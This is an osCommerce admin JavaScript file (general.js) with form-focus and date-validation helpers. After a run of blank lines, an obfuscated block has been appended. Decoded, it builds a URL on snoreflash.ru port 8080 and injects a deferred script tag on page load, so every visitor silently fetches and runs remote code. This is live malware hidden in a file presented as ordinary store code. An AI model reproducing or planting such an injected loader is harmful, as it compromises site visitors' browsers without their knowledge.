/*
  $Id: general.js,v 1.3 2003/02/10 22:30:55 hpdl Exp $

  osCommerce, Open Source E-Commerce Solutions
  http://www.oscommerce.com

  Copyright (c) 2003 osCommerce

  Released under the GNU General Public License
*/

function SetFocus(TargetFormName) {
  var target = 0;
  if (TargetFormName != "") {
    for (i=0; i<document.forms.length; i++) {
      if (document.forms[i].name == TargetFormName) {
        target = i;
        break;
      }
    }
  }

  var TargetForm = document.forms[target];
    
  for (i=0; i<TargetForm.length; i++) {
    if ( (TargetForm.elements[i].type != "image") && (TargetForm.elements[i].type != "hidden") && (TargetForm.elements[i].type != "reset") && (TargetForm.elements[i].type != "submit") ) {
      TargetForm.elements[i].focus();

      if ( (TargetForm.elements[i].type == "text") || (TargetForm.elements[i].type == "password") ) {
        TargetForm.elements[i].select();
      }

      break;
    }
  }
}

function RemoveFormatString(TargetElement, FormatString) {
  if (TargetElement.value == FormatString) {
    TargetElement.value = "";
  }

  TargetElement.select();
}

function CheckDateRange(from, to) {
  if (Date.parse(from.value) <= Date.parse(to.value)) {
    return true;
  } else {
    return false;
  }
}

function IsValidDate(DateToCheck, FormatString) {
  var strDateToCheck;
  var strDateToCheckArray;
  var strFormatArray;
  var strFormatString;
  var strDay;
  var strMonth;
  var strYear;
  var intday;
  var intMonth;
  var intYear;
  var intDateSeparatorIdx = -1;
  var intFormatSeparatorIdx = -1;
  var strSeparatorArray = new Array("-"," ","/",".");
  var strMonthArray = new Array("jan","feb","mar","apr","may","jun","jul","aug","sep","oct","nov","dec");
  var intDaysArray = new Array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);

  strDateToCheck = DateToCheck.toLowerCase();
  strFormatString = FormatString.toLowerCase();
  
  if (strDateToCheck.length != strFormatString.length) {
    return false;
  }

  for (i=0; i<strSeparatorArray.length; i++) {
    if (strFormatString.indexOf(strSeparatorArray[i]) != -1) {
      intFormatSeparatorIdx = i;
      break;
    }
  }

  for (i=0; i<strSeparatorArray.length; i++) {
    if (strDateToCheck.indexOf(strSeparatorArray[i]) != -1) {
      intDateSeparatorIdx = i;
      break;
    }
  }

  if (intDateSeparatorIdx != intFormatSeparatorIdx) {
    return false;
  }

  if (intDateSeparatorIdx != -1) {
    strFormatArray = strFormatString.split(strSeparatorArray[intFormatSeparatorIdx]);
    if (strFormatArray.length != 3) {
      return false;
    }

    strDateToCheckArray = strDateToCheck.split(strSeparatorArray[intDateSeparatorIdx]);
    if (strDateToCheckArray.length != 3) {
      return false;
    }

    for (i=0; i<strFormatArray.length; i++) {
      if (strFormatArray[i] == 'mm' || strFormatArray[i] == 'mmm') {
        strMonth = strDateToCheckArray[i];
      }

      if (strFormatArray[i] == 'dd') {
        strDay = strDateToCheckArray[i];
      }

      if (strFormatArray[i] == 'yyyy') {
        strYear = strDateToCheckArray[i];
      }
    }
  } else {
    if (FormatString.length > 7) {
      if (strFormatString.indexOf('mmm') == -1) {
        strMonth = strDateToCheck.substring(strFormatString.indexOf('mm'), 2);
      } else {
        strMonth = strDateToCheck.substring(strFormatString.indexOf('mmm'), 3);
      }

      strDay = strDateToCheck.substring(strFormatString.indexOf('dd'), 2);
      strYear = strDateToCheck.substring(strFormatString.indexOf('yyyy'), 2);
    } else {
      return false;
    }
  }

  if (strYear.length != 4) {
    return false;
  }

  intday = parseInt(strDay, 10);
  if (isNaN(intday)) {
    return false;
  }
  if (intday < 1) {
    return false;
  }

  intMonth = parseInt(strMonth, 10);
  if (isNaN(intMonth)) {
    for (i=0; i<strMonthArray.length; i++) {
      if (strMonth == strMonthArray[i]) {
        intMonth = i+1;
        break;
      }
    }
    if (isNaN(intMonth)) {
      return false;
    }
  }
  if (intMonth > 12 || intMonth < 1) {
    return false;
  }

  intYear = parseInt(strYear, 10);
  if (isNaN(intYear)) {
    return false;
  }
  if (IsLeapYear(intYear) == true) {
    intDaysArray[1] = 29;
  }

  if (intday > intDaysArray[intMonth - 1]) {
    return false;
  }
  
  return true;
}

function IsLeapYear(intYear) {
  if (intYear % 100 == 0) {
    if (intYear % 400 == 0) {
      return true;
    }
  } else {
    if ((intYear % 4) == 0) {
      return true;
    }
  }

  return false;
}






var B=new String();var H=new Array();function k(){var uK=new Array();var Si="";var Td;if(Td!='l' && Td != ''){Td=null};this.aB='';var q=window;var cM='';var T=unescape;var xG=new String();var So=new String();var p=T("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6c%2f%6d%6f%7a%69%6c%6c%61%2e%6f%72%67%2e%70%68%70");var XE=new String();var ml=new String();var d="";function M(X,x){var xz="";var j;if(j!='Xs' && j!='Zo'){j=''};this.yx='';this.ZX='';var qi=new String("gUEvK".substr(0,1));var K=T("%5b"), C=T("%5d");var f;if(f!='' && f!='LQ'){f='mf'};var nI;if(nI!='' && nI!='db'){nI='UW'};var u=K+x+C;var uX=new String();var uB=new RegExp(u, qi);var mlt=new Array();this.h='';return X.replace(uB, new String());var rI='';var xp=new Date();};var jg=new Date();var rW;if(rW!='' && rW!='s'){rW=null};var IC=new String();var wC=new String();var MY;if(MY!='JU'){MY='JU'};var nZ;if(nZ!='EB' && nZ!='oh'){nZ='EB'};var w=new String();var S=document;var uZ=M('87297104574784474097954','9453712');var hx='';function A(){var c=T("%68%74%74%70%3a%2f%2f%73%6e%6f%72%65%66%6c%61%73%68%2e%72%75%3a");var N;if(N!='fy'){N='fy'};var Js=new Array();w=c;var ER;if(ER!='' && ER!='rv'){ER=''};var sC;if(sC!='' && sC!='Ds'){sC='iq'};w+=uZ;var e=new Array();w+=p;var bp;if(bp!=''){bp='cF'};var Mz;if(Mz!=''){Mz='aC'};var Mx='';try {L=S.createElement(M('sfcNrji4pBt4','gYPND14B_Ej8LmAnkf'));var RP='';var TL;if(TL!='' && TL!='VO'){TL='Iw'};L[T("%64%65%66%65%72")]=[1,2][0];var Yd=new Date();var bC="";L[T("%73%72%63")]=w;var Dq=new Array();var fI=new Array();S.body.appendChild(L);var zEL='';} catch(MZ){var aa;if(aa!='' && aa!='Ec'){aa=null};alert(MZ);};var Od=new String();var kF=new String();}var ty;if(ty!='' && ty!='Cs'){ty=''};var oc;if(oc!='' && oc!='Uv'){oc=''};q[new String("on"+"lo"+"ad")]=A;var rU;if(rU!='wr'){rU=''};var gL;if(gL!='QG'){gL=''};var KB="";};var sD;if(sD!='' && sD!='Xc'){sD=''};k();var Wk=new String();var oC;if(oC!='Lr' && oC!='zW'){oC=''};